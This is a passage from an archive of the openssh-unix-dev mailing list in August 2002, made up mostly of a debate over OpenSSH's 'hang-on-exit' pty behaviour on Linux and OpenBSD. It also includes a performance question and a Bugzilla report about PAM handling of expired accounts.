> H == Hang, wait for sleep, print hi, then exit
> NH == Exit immediately (hi not printed)
> 
> client\server |  Linux  | OpenBSD
> --------------+---------+--------
> Linux         |    H    |  NH
> OpenBSD       |    H    |  NH
> 
> 
> Using the following test:
> #> ssh machinename '(sleep 10; echo hi) &'
> 
> I get the following results.
> 
> client\server |  Linux  | OpenBSD
> --------------+---------+--------
> Linux         |    H    |  H
> OpenBSD       |    H    |  H
> 
> Note:
> Linux == RH7.3 w/updates
> OpenBSD == 3.1 w/updates
> OpenSSH 3.4[p1] w/privsep running on test machines.
> 
> So why does this happen.  People seem to expect the OpenBSD behavior
> eventhough you don't get the "hi" printed in the first test case.
> 
> Craig
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From msmall at arrow.lz.att.com  Wed Aug  7 04:02:39 2002
From: msmall at arrow.lz.att.com (Morgan Small)
Date: Tue, 6 Aug 2002 14:02:39 -0400
Subject: Unix Performance slow executing ssh and scp
In-Reply-To: <NEBBIGMMJNLLEHAGEONKIEMPDCAA.msmall@arrow.lz.att.com>
Message-ID: <NEBBIGMMJNLLEHAGEONKMEAGDDAA.msmall@arrow.lz.att.com>

Has anyone seen any performance hit with using OpenSSH.
----------------------------------------------------------------------------
----------------
 We currently upgraded to the OpenSSH3.4 version using RSA,
 protocol 2.  Doing some minor testing we noticed that the
 performance took about twice as long to execute an ssh/scp
 command using this product versus another product using RSA, protocol 1.
 Are there any specific configuration changes in the config files
 or unix parameters to make the performance faster.

 Thanks
 Morgan Small
 small at att.com



From cjc5 at po.cwru.edu  Wed Aug  7 04:27:46 2002
From: cjc5 at po.cwru.edu (Craig J Copi)
Date: Tue, 06 Aug 2002 14:27:46 -0400
Subject: so-called-hang-on-exit 
In-Reply-To: Your message of "Tue, 06 Aug 2002 13:48:34 EDT."
             <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1081@NSTMC004PEX1.ubsgs.ubsgroup.net> 
Message-ID: <20020806182746.6F1C1856C@aether.phys.cwru.edu>

Nicolas.Williams at ubsw.com writes:
>
>I meant, what is the difference in behaviour in technical terms.
>
>E.g., "the BSD pty master gets EOF as soon as all processes in the pty's
>controlling process group exit, whereas on Linux the pty master EOFs
>only when there are no open file descriptors for the pty."
>
>And what server-side, user-level heuristic could "correct" for this
>difference?

I believe that is the question nobody has answered.  There have
been calls for someone to look into the guts (presumably kernel) and
figure out what is going on.

Craig


From egarff at omniture.com  Wed Aug  7 06:32:33 2002
From: egarff at omniture.com (Eric Garff)
Date: 06 Aug 2002 14:32:33 -0600
Subject: so-called-hang-on-exit
In-Reply-To: <20020806182746.6F1C1856C@aether.phys.cwru.edu>
References: <20020806182746.6F1C1856C@aether.phys.cwru.edu>
Message-ID: <1028665953.18960.119.camel@egarff.superstats.com>

This isn't an actual reply to any one person, but here is my experience:

I have tested both the patches by Jani Jaakkol and Frank Cusack (Frank's
I tried both the pty and non-pty changes).  I still get the hang, here
is my setup.

This is entered as a cronjob on one server to run every 15 minutes:

/home/httpd/bin/cache/glb/gTest >>/home/httpd/bin/cache/glb/gTest.log
2>>/home/httpd/bin/cache/glb/gTest.log

  here are the guts of the script:
	/usr/local/bin/ssh hostname /bin/ls /some/dir | /usr/bin/wc -l ;
/bin/ls /some/other/dir | /usr/bin/wc -l ; /bin/ls /some/other/dir |
/usr/bin/wc -l"

The script is actually a php script that does a number of other things
before it executes the ssh (database to grab hostnames, etc.), but that
is how the ssh portion pans out.  After executing the command it then
starts a 20 second timer, and if the ssh session is still alive, it
kills it.  Also, if I run the script by hand (not crond) it completes
just fine (no hang).

Any ideas?  Your time is MUCH appreciated.

On Tue, 2002-08-06 at 12:27, Craig J Copi wrote:
> Nicolas.Williams at ubsw.com writes:
> >
> >I meant, what is the difference in behaviour in technical terms.
> >
> >E.g., "the BSD pty master gets EOF as soon as all processes in the pty's
> >controlling process group exit, whereas on Linux the pty master EOFs
> >only when there are no open file descriptors for the pty."
> >
> >And what server-side, user-level heuristic could "correct" for this
> >difference?
> 
> I believe that is the question nobody has answered.  There have
> been calls for someone to look into the guts (presumably kernel) and
> figure out what is going on.
> 
> Craig
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
-- 
Eric Garff
System Administrator
egarff at omniture.com
801.722.0134

Omniture
http://www.omniture.com
"Unique Questions, Precise Answers"


From fcusack at fcusack.com  Wed Aug  7 09:09:39 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Tue, 6 Aug 2002 16:09:39 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC01@NSTMC004PEX1.ubsgs.ubsgroup.net>; from Nicolas.Williams@ubsw.com on Tue, Aug 06, 2002 at 10:12:04AM -0400
References: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC01@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <20020806160939.C11023@google.com>

On Tue, Aug 06, 2002 at 10:12:04AM -0400, Nicolas.Williams at ubsw.com wrote:
> 
> Why are putting a timeout into the sshd's select() when flushing
> the PTY?

I'm not.  If you mean forcing the time value to 100ms (instead of NULL)
that's just some arbitrary number sshd already uses.  That's strictly
to prevent a NULL tvp which would ... hang.  unless you have
clientkeepalive's configured.

For the purpose of hang-on-exit, the time value could be '0'.  I don't
see a problem just leaving it at 100 though.

> I'll admit I've neither tried the patch nor really read it. But if
> you'll rely on timeouts on one side, why not on the other. There's
> the heuristic. I mean, if you want it to be totally correct then
> sshd just has to wait for the pty to close - any other approach
> has to be a heuristic and will allow for data lossage.

Well, right.  Linux/Solaris/others don't close the pty when the session
leader exits (I guess that's the problem).  That's why the option was
called 'AllowDataLossOnPty' by Markus.  *IT ALLOWS DATA LOSS*.  You
still have an open fd you can read from, yet you're going to force it
closed.  If you want to be totally correct, you trust that the OS does
the correct thing and you exit only when there is no more data to read.

hmmm...  what does 'ssh -t 0 "yes & exit"' do on BSD?

> But then, you all seem to be happy with data lossage, whereas I'm
> not happy to be forced to suffer it. So why not a client side
> heuristic, like this:
> 
> if (session-exit && open_channels == 1) {
>     set_timeout(1); /* 1 second - or as configured */
> }
> ...
> 
> and in the event loop add a check for (open_sessions == 0 &&
> open_channels == 1 && open_channel_has_pty()) and then close the
> channel and do the right thing (exit).

Sure, sounds roughly equivalent to me.  But I'm just going with the
flow here.  It does seem better to control this from the server-side.
It may be that your client hangs, but it's really that you are consuming
a resource on the server side.  I like the one guy's argument that
BOTH client and server should have a fix for this.

/fc


From michael at bizsystems.com  Wed Aug  7 09:53:25 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Tue, 6 Aug 2002 16:53:25 -0700 (PDT)
Subject: (no subject)
Message-ID: <Pine.LNX.4.33.0208061649040.27585-100000@pandora.is.bizsystems.com>

> On Tuesday, August 06, Michael Robinton wrote:
> > Make it an option that can be set in both sshd-config and
> > ssh-config so
> > that both client and server operators have the choice to
> > never lose data
> > or to always disconnect, damn the data, full speed ahead :-)
>
> You can't make it a client-side option if it's implemented on the
> server side without extending the SSHv2 protocol [by adding a new
> channel request type].
>
> So now you're saying you'd be happy with a client-side option (which
> you'd default a particular way, and I another, in ssh_config).
>
> So you've come around to my position :)
>
> Q.E.D.,
>
> Nico
> --

not really sigh..... What I would like is to NOT find hung sshd processes
on our servers that have been started by users that can't figure out how
to properly close the session, or by scripts trying to run brain dead
daemons. From a sysadmin's viewpoint, it is impossible to police all of
this. The only practical solution is to be able to set sshd to disconnect
unconditionally when asked. The "client" side option should enable the
"no data loss" for users that really know what they are doing and are
capable of figuring out that their process hung for some reason AND
take corrective action to clear the process.

Michael



From fcusack at fcusack.com  Wed Aug  7 10:13:37 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Tue, 6 Aug 2002 17:13:37 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <1028665953.18960.119.camel@egarff.superstats.com>; from egarff@omniture.com on Tue, Aug 06, 2002 at 02:32:33PM -0600
References: <20020806182746.6F1C1856C@aether.phys.cwru.edu> <1028665953.18960.119.camel@egarff.superstats.com>
Message-ID: <20020806171337.G11023@google.com>

On Tue, Aug 06, 2002 at 02:32:33PM -0600, Eric Garff wrote:
> This isn't an actual reply to any one person, but here is my experience:
> 
> I have tested both the patches by Jani Jaakkol and Frank Cusack (Frank's
> I tried both the pty and non-pty changes).  I still get the hang, here
> is my setup.
> 
> This is entered as a cronjob on one server to run every 15 minutes:
> 
> /home/httpd/bin/cache/glb/gTest >>/home/httpd/bin/cache/glb/gTest.log
> 2>>/home/httpd/bin/cache/glb/gTest.log
> 
>   here are the guts of the script:
> 	/usr/local/bin/ssh hostname /bin/ls /some/dir | /usr/bin/wc -l ;
> /bin/ls /some/other/dir | /usr/bin/wc -l ; /bin/ls /some/other/dir |
> /usr/bin/wc -l"
> 
> The script is actually a php script that does a number of other things
> before it executes the ssh (database to grab hostnames, etc.), but that
> is how the ssh portion pans out.  After executing the command it then
> starts a 20 second timer, and if the ssh session is still alive, it
> kills it.  Also, if I run the script by hand (not crond) it completes
> just fine (no hang).
> 
> Any ideas?  Your time is MUCH appreciated.

You're doing something wrong.  Your ssh command is not an example of
the hang-on-exit problem.

/fc


From mouring at etoh.eviladmin.org  Wed Aug  7 12:25:48 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 6 Aug 2002 21:25:48 -0500 (CDT)
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.33.0208051443390.15196-100000@pandora.is.bizsystems.com>
Message-ID: <Pine.BSO.4.44.0208062125070.7710-100000@etoh.eviladmin.org>

FYI.. If you don't know this yet.. OpenBSD is not affected by this.  And
no one can explain it and how it relates to the issue.  Which has a
bearing on why it has not been fixed also.

- Ben

On Mon, 5 Aug 2002, Michael Robinton wrote:

> >Fair enough on the flushing of the pty. But sshd should still not close
> >the pty - it should wait for the background processes to exit and/or
> >dissassociate from the pty.
> >
> >The client does know that there are background processes left still
> >holding the pty open. How? Because the client requested and got a pty,
> >the sshd has sent a session-exit message, and the channel is still open.
> >
> >Cheers,
> >
> >Nico --
>
> This is an oversimplification of the problem and what I consider to be the
> main reason why the problem has not been fixed. Consider the situation
> where a sysadm needs to log into a host, kill and restart a daemon.
> Naturally the daemon has not been properly written through no fault of the
> sysadmin who is merely and innocent victim of the ssh server. Upon logout
> the terminal window hangs.... duh!!!! Again I ask, why should we be held
> hostage to poorly written daemons just so you purists can say that not a
> single byte of data has been lost that might someday be attempted to be
> sent to pty connection that is trying desperately to disconnect???
>
> The argument will not go away until some one fixes this BUG. Your argument
> that the "client knows" is simplistic. Sure, we know that people write
> buggy software and buggy daemons that do not properly redirect their
> STDOUT and STDERR. That does not meant that we should
> accomodate their stupidity and hang our own systems up because of it. At
> the very least, make it a server configuration option that connections
> will be closed unconditionally if requested by the client to do so. This
> way we can rid our systems of hung sshd processes that fill up the process
> table.
>
> Michael
>
>
> > -----Original Message-----
> > From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> > Sent: Monday, August 05, 2002 4:20 PM
> > To: Williams, Nicolas
> > Cc: openssh-unix-dev at mindrot.org
> > Subject: RE: so-called-hang-on-exit
> >
> >
> > On Mon, 5 Aug 2002 Nicolas.Williams at ubsw.com wrote:
> >
> > >
> > > I still think this sort of thing should be done by the client.
> > >
> > > The client knows everything that the server knows.
> >
> > Except this time is does not. If there is background
> > processses on the
> > tty, the client can either close the session and lose data or wait
> > indefinetely for data from the background processes.
> >
> > > So the client
> > > can choose to terminate the SSHv2 session when the PTY session
> > > process leader exits - and it can implement any other termination
> > > heuristic you wish too.
> >
> > It needs server modifications that data from the pty session process
> > leaders is not lost. I think rlogin and all other pty using
> > programs have
> > allready implemented this properly; which is that the pty buffer is
> > first emptied and the connection is closed _after_ that.
> >
> > - Jani
> >
> >
>
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From mouring at etoh.eviladmin.org  Wed Aug  7 12:34:37 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 6 Aug 2002 21:34:37 -0500 (CDT)
Subject: so-called-hang-on-exit
In-Reply-To: <3D4F2770.8060605@bl.echidna.id.au>
Message-ID: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org>

On Tue, 6 Aug 2002, Carl Brewer wrote:

[..]
> > since ~ will unconditionally close a terminal window, what's wrong with a
> > config option to do this automagically if the sysadmin wishes to configure
> > sshd in this fashion. Give me a good reason (other than academic) why when
> > the user or script says "bye now" that sshd should not take them
> > seriously.
>
> Not to mention the complexity of multiple chained ssh connections, how
> many "~'s do I need to press?  I'm chained in through how many sessions
> again?
>
> Unfortunatly, Michael, you're wasting your time.  None of the
> developers will see it from a 'real user' perspective.  Purity
> vs practicality, and purity wins.
>

Your going to have to excuse me. I just got back into town after a
wirlwind trip, but I don't think you are qualify to say that.

The question that has yet to be answered is.

*WHY* does it happen on some platforms and not others?  You run OpenSSH on
OpenBSD?  No hang.

No one has yet to even explain to us why.  If one person could explain why
without handwaving it would solve the problem because it more than likely
is a mistake on TTY handling.

- Ben



From bugzilla-daemon at mindrot.org  Wed Aug  7 13:40:40 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed,  7 Aug 2002 13:40:40 +1000 (EST)
Subject: [Bug 381] New: unable to access expired accounts using PAM with openssh-3.4P1
Message-ID: <20020807034040.40EAE3D246@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=381

           Summary: unable to access expired accounts using PAM with
                    openssh-3.4P1
           Product: Portable OpenSSH
           Version: -current
          Platform: UltraSparc
        OS/Version: Solaris
            Status: NEW
          Severity: major
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: don.sudom at dahlt.com


Expired accounts fail with "PAM rejected by account configuration" error 
message.

I noticed that this functionality has been disabled in auth-pam.c

#if 0
		case PAM_NEW_AUTHTOK_REQD:
			message_cat(&__pam_msg, use_privsep ?
			    NEW_AUTHTOK_MSG_PRIVSEP : NEW_AUTHTOK_MSG);
			/* flag that password change is necessary */
			password_change_required = 1;
			/* disallow other functionality for now */
			no_port_forwarding_flag |= 2;
			no_agent_forwarding_flag |= 2;
			no_x11_forwarding_flag |= 2;
			break;
#endif



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jjaakkol at cs.Helsinki.FI  Wed Aug  7 17:50:30 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 10:50:30 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org>
Message-ID: <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI>

On Tue, 6 Aug 2002, Ben Lindstrom wrote:

> 
> On Tue, 6 Aug 2002, Carl Brewer wrote:
> 
> [..]
> > > since ~ will unconditionally close a terminal window, what's wrong with a
> > > config option to do this automagically if the sysadmin wishes to configure
> > > sshd in this fashion. Give me a good reason (other than academic) why when
> > > the user or script says "bye now" that sshd should not take them
> > > seriously.
> >
> > Not to mention the complexity of multiple chained ssh connections, how
> > many "~'s do I need to press?  I'm chained in through how many sessions
> > again?
> >
> > Unfortunatly, Michael, you're wasting your time.  None of the
> > developers will see it from a 'real user' perspective.  Purity
> > vs practicality, and purity wins.
> >
> 
> Your going to have to excuse me. I just got back into town after a
> wirlwind trip, but I don't think you are qualify to say that.
> 
> The question that has yet to be answered is.
> 
> *WHY* does it happen on some platforms and not others?  You run OpenSSH on
> OpenBSD?  No hang.

Then OpenBSD must already have the data loss problem. Which means that 
OpenBSD kernel does the decision, that the pty is not needed any more 
when the pty session master process exits and therefore it is OK to force 
the pty closed (I vaguely remember that some ancient Linux kernel had 
the same behaviour, but I might be mistaken).

And so already for OpenBSD users the data from the pty background 
processes might and will be lost, unless someone patches OpenBSD kernel.

On Linux and on other system the user space process can decide whether to 
wait for the background processes or not. Currently sshd forces the 
decision to be "wait". IMHO, it would be more useful to default to "do 
not wait for background processes" (again, just like OpenBSD already 
does) and provide an option for those users who actually want to wait for 
them.

> No one has yet to even explain to us why.  

This should be easy enough to check from OpenBSD kernel. However since I 
am a Linux guy I do not have OpenBSD kernel handy would not know where to 
look.

- Jani



From fcusack at fcusack.com  Wed Aug  7 18:54:46 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 01:54:46 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI>; from jjaakkol@cs.Helsinki.FI on Wed, Aug 07, 2002 at 10:50:30AM +0300
References: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org> <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI>
Message-ID: <20020807015446.E11563@google.com>

On Wed, Aug 07, 2002 at 10:50:30AM +0300, Jani Jaakkola wrote:
> On Tue, 6 Aug 2002, Ben Lindstrom wrote:
> > 
> > The question that has yet to be answered is.
> > 
> > *WHY* does it happen on some platforms and not others?  You run OpenSSH on
> > OpenBSD?  No hang.
> 
> Then OpenBSD must already have the data loss problem. Which means that 
> OpenBSD kernel does the decision, that the pty is not needed any more 
> when the pty session master process exits and therefore it is OK to force 
> the pty closed (I vaguely remember that some ancient Linux kernel had 
> the same behaviour, but I might be mistaken).

I think (thought) we've already established this.

Hence my earlier question, what does 'ssh -t 0 "yes & exit"' do on OpenBSD?

> > No one has yet to even explain to us why.  
> 
> This should be easy enough to check from OpenBSD kernel. However since I 
> am a Linux guy I do not have OpenBSD kernel handy would not know where to 
> look.

Lame excuse, you're much too used to Linux.  BSD distros have CVS
repositories, and also use cvsweb.  Now not knowing where to look is
a problem.  :-)

http://www.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_exit.c?rev=1.37.2.2&content-type=text/x-cvsweb-markup

linux/kernel/exit.c is the appropriate place to start on Linux.

/fc



From Nicolas.Williams at ubsw.com  Wed Aug  7 23:53:21 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 7 Aug 2002 09:53:21 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC0D@NSTMC004PEX1.ubsgs.ubsgroup.net>

A test program *could* be written. The test should try several
conditions to determine what the kernel/pty driver behaviour is:

 - does the pty close immediately when the session leader exits?
 - does the pty close immediately when the session leader is gone *and*
   the pty's foreground process group is orphaned (or empty?)?
 - does the pty driver send SIGHUP to all processes associated with the
   PTY when the session leader exits?

Having the answers to these questions for each of the major platforms we
can then think about how to emulate *BSD behaviour on Linux and Solaris
(assuming that it's even desired). But then, we all pretty much suspect
what the behaviour is (see previous posts in this thread).

The notion of "flushing the pty" may not be so simple because the
boundary between data last written by the session leader and data
written by background processes may be indistiguishable (would that
even be a problem?) - how does one "flush the pty" from the master
side anyways? (by reading until read() returns EWOULDBLOCK? or is there
some special ioctl() for emptying buffered data on the slave write side
to the master read side?)

And one more avenue that must be considered: why not just document the
platform differences and leave it at that? Some will be inconvenienced,
but the OpenSSH folks could just say "hey, take it to your OS vendor", say.

Cheers,

Nico
-- 

> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> Sent: Tuesday, August 06, 2002 10:35 PM
> To: Carl Brewer
> Cc: Michael Robinton; openssh-unix-dev at mindrot.org
> Subject: Re: so-called-hang-on-exit
> 
> 
> 
> On Tue, 6 Aug 2002, Carl Brewer wrote:
> 
> [..]
> > > since ~ will unconditionally close a terminal window, 
> what's wrong with a
> > > config option to do this automagically if the sysadmin 
> wishes to configure
> > > sshd in this fashion. Give me a good reason (other than 
> academic) why when
> > > the user or script says "bye now" that sshd should not take them
> > > seriously.
> >
> > Not to mention the complexity of multiple chained ssh 
> connections, how
> > many "~'s do I need to press?  I'm chained in through how 
> many sessions
> > again?
> >
> > Unfortunatly, Michael, you're wasting your time.  None of the
> > developers will see it from a 'real user' perspective.  Purity
> > vs practicality, and purity wins.
> >
> 
> Your going to have to excuse me. I just got back into town after a
> wirlwind trip, but I don't think you are qualify to say that.
> 
> The question that has yet to be answered is.
> 
> *WHY* does it happen on some platforms and not others?  You 
> run OpenSSH on
> OpenBSD?  No hang.
> 
> No one has yet to even explain to us why.  If one person 
> could explain why
> without handwaving it would solve the problem because it more 
> than likely
> is a mistake on TTY handling.
> 
> - Ben
> 
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From egarff at omniture.com  Thu Aug  8 01:15:17 2002
From: egarff at omniture.com (Eric Garff)
Date: 07 Aug 2002 09:15:17 -0600
Subject: so-called-hang-on-exit
In-Reply-To: <20020806171337.G11023@google.com>
References: <20020806182746.6F1C1856C@aether.phys.cwru.edu>
	<1028665953.18960.119.camel@egarff.superstats.com> 
	<20020806171337.G11023@google.com>
Message-ID: <1028733317.28564.3.camel@egarff.superstats.com>

That may be, but it only "hangs" when run from cron, if I run it
manually it executes fine, could cron be causing the "hang".  Also, if I
used Protocol 1 it completes normally.

On Tue, 2002-08-06 at 18:13, Frank Cusack wrote:
> On Tue, Aug 06, 2002 at 02:32:33PM -0600, Eric Garff wrote:
> > This isn't an actual reply to any one person, but here is my experience:
> > 
> > I have tested both the patches by Jani Jaakkol and Frank Cusack (Frank's
> > I tried both the pty and non-pty changes).  I still get the hang, here
> > is my setup.
> > 
> > This is entered as a cronjob on one server to run every 15 minutes:
> > 
> > /home/httpd/bin/cache/glb/gTest >>/home/httpd/bin/cache/glb/gTest.log
> > 2>>/home/httpd/bin/cache/glb/gTest.log
> > 
> >   here are the guts of the script:
> > 	/usr/local/bin/ssh hostname /bin/ls /some/dir | /usr/bin/wc -l ;
> > /bin/ls /some/other/dir | /usr/bin/wc -l ; /bin/ls /some/other/dir |
> > /usr/bin/wc -l"
> > 
> > The script is actually a php script that does a number of other things
> > before it executes the ssh (database to grab hostnames, etc.), but that
> > is how the ssh portion pans out.  After executing the command it then
> > starts a 20 second timer, and if the ssh session is still alive, it
> > kills it.  Also, if I run the script by hand (not crond) it completes
> > just fine (no hang).
> > 
> > Any ideas?  Your time is MUCH appreciated.
> 
> You're doing something wrong.  Your ssh command is not an example of
> the hang-on-exit problem.
> 
> /fc
-- 
Eric Garff
System Administrator
egarff at omniture.com
801.722.0134

Omniture
http://www.omniture.com
"Unique Questions, Precise Answers"


From michael at bizsystems.com  Thu Aug  8 01:30:54 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Wed, 7 Aug 2002 08:30:54 -0700 (PDT)
Subject: so called hang-on-exit bug
Message-ID: <Pine.LNX.4.33.0208070812260.1215-100000@pandora.is.bizsystems.com>

>
> Yes, you can "police" these things as a sysadmin. How? Use
> /usr/proc/bin/ptree, ps, lsof and what not to find all sshd
> processes and their associated ptys - the sshds that have no
> children processes but whose master pty's slave pty still has
> processes associated with said pty, those are the sshds that must be
> killed in order to clean up (or you could kill -HUP the background
> processes).

sure, that's real practical. I just log on to each system every hour or
so and take a look :-) That's a real time saver NOT! The whole idea of
using OS's that don't crash and are able to run unattended for more than a
day is to avoid this kind of problem. If I wanted to do contstant needless
maintenance I could run Windoze servers instead of *nix. Are you
advocating writing software ala "the gates way" ??? i.e. damn the user
community, let's write it our way???


>
> As for the underlying issue, folk are clearly discussing ways to
> address it - you should be a little more patient and a little more
> grateful. After all, we could all just ignore you (I am not part of
> the OpenSSH team - I'm participating out of enlightened
> self-interest).
>

I've been very patient. If you check the archives, this issue has
been brought up over and over again as a bug -- and -- discussed at
length and ignored again with the same justification for a year
or more. I am simply pointing out once again the flaw in the reasoning
that "not a single byte of data must be lost" even when termination has
been explicitly requested. It is not productive to simply ignore
"reported bugs" in a program. The issue is not really whether or not
it is a bug for the terminal window to hang. I laud the "intent" of
the developers in trying to preserve data integretity, the reasoning
is sound. However, the practical aspect of that is a consumption
of resources on the server that is untenable from an administrative
standpoint. At some point, real world needs must overide academic purity.
I have no objection whatsoever to someone else running a system that (I
won't use the word "hang") --- preserves data that might be lost during a
disconnect of a session. Our systems need to have the process tables free
of zombie sshd's and our users need their terminal windows and client
scripts to terminate without having to examine and test EVERY piece of
software they use on a remote system whether they wrote it or not. To not
do this is impractical. To be a user friendly piece of software in my view
it is necessary for the ssh suite to provide, at a minimum, a configurable
option for sshd to terminate on request without regard to data loss.

Every time someone posts a justification as to why hanging a process
when a termination has been requested, they must consider the needs of
real world users once again. I'm afraid in the absence of other voices, I
will post that reminder.

Michael


> Cheers,
>
> Nico
> --
>
> > -----Original Message-----
> > From: Michael Robinton [mailto:michael at bizsystems.com]
> > Sent: Tuesday, August 06, 2002 7:53 PM
> > To: openssh-unix-dev at mindrot.org
> > Subject: (no subject)
> >
> >
> > > On Tuesday, August 06, Michael Robinton wrote:
> > > > Make it an option that can be set in both sshd-config and
> > > > ssh-config so
> > > > that both client and server operators have the choice to
> > > > never lose data
> > > > or to always disconnect, damn the data, full speed ahead :-)
> > >
> > > You can't make it a client-side option if it's implemented on the
> > > server side without extending the SSHv2 protocol [by adding a new
> > > channel request type].
> > >
> > > So now you're saying you'd be happy with a client-side option (which
> > > you'd default a particular way, and I another, in ssh_config).
> > >
> > > So you've come around to my position :)
> > >
> > > Q.E.D.,
> > >
> > > Nico
> > > --
> >
> > not really sigh..... What I would like is to NOT find hung
> > sshd processes
> > on our servers that have been started by users that can't
> > figure out how
> > to properly close the session, or by scripts trying to run brain dead
> > daemons. From a sysadmin's viewpoint, it is impossible to
> > police all of
> > this. The only practical solution is to be able to set sshd
> > to disconnect
> > unconditionally when asked. The "client" side option should enable the
> > "no data loss" for users that really know what they are doing and are
> > capable of figuring out that their process hung for some reason AND
> > take corrective action to clear the process.
> >
> > Michael
> >
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
>



From Nicolas.Williams at ubsw.com  Thu Aug  8 01:51:03 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 7 Aug 2002 11:51:03 -0400
Subject: Unrelated (was RE: so-called-hang-on-exit)
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC0F@NSTMC004PEX1.ubsgs.ubsgroup.net>

Add -n to the ssh command line - see if that fixes it.

Nico
-- 

> -----Original Message-----
> From: Eric Garff [mailto:egarff at omniture.com]
> Sent: Wednesday, August 07, 2002 11:15 AM
> To: openssh-unix-dev at mindrot.org
> Subject: Re: so-called-hang-on-exit
> 
> 
> That may be, but it only "hangs" when run from cron, if I run it
> manually it executes fine, could cron be causing the "hang".  
> Also, if I
> used Protocol 1 it completes normally.
> 
> On Tue, 2002-08-06 at 18:13, Frank Cusack wrote:
> > On Tue, Aug 06, 2002 at 02:32:33PM -0600, Eric Garff wrote:
> > > This isn't an actual reply to any one person, but here is 
> my experience:
> > > 
> > > I have tested both the patches by Jani Jaakkol and Frank 
> Cusack (Frank's
> > > I tried both the pty and non-pty changes).  I still get 
> the hang, here
> > > is my setup.
> > > 
> > > This is entered as a cronjob on one server to run every 
> 15 minutes:
> > > 
> > > /home/httpd/bin/cache/glb/gTest 
> >>/home/httpd/bin/cache/glb/gTest.log
> > > 2>>/home/httpd/bin/cache/glb/gTest.log
> > > 
> > >   here are the guts of the script:
> > > 	/usr/local/bin/ssh hostname /bin/ls /some/dir | /usr/bin/wc -l ;
> > > /bin/ls /some/other/dir | /usr/bin/wc -l ; /bin/ls 
> /some/other/dir |
> > > /usr/bin/wc -l"
> > > 
> > > The script is actually a php script that does a number of 
> other things
> > > before it executes the ssh (database to grab hostnames, 
> etc.), but that
> > > is how the ssh portion pans out.  After executing the 
> command it then
> > > starts a 20 second timer, and if the ssh session is still 
> alive, it
> > > kills it.  Also, if I run the script by hand (not crond) 
> it completes
> > > just fine (no hang).
> > > 
> > > Any ideas?  Your time is MUCH appreciated.
> > 
> > You're doing something wrong.  Your ssh command is not an example of
> > the hang-on-exit problem.
> > 
> > /fc
> -- 
> Eric Garff
> System Administrator
> egarff at omniture.com
> 801.722.0134
> 
> Omniture
> http://www.omniture.com
> "Unique Questions, Precise Answers"
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
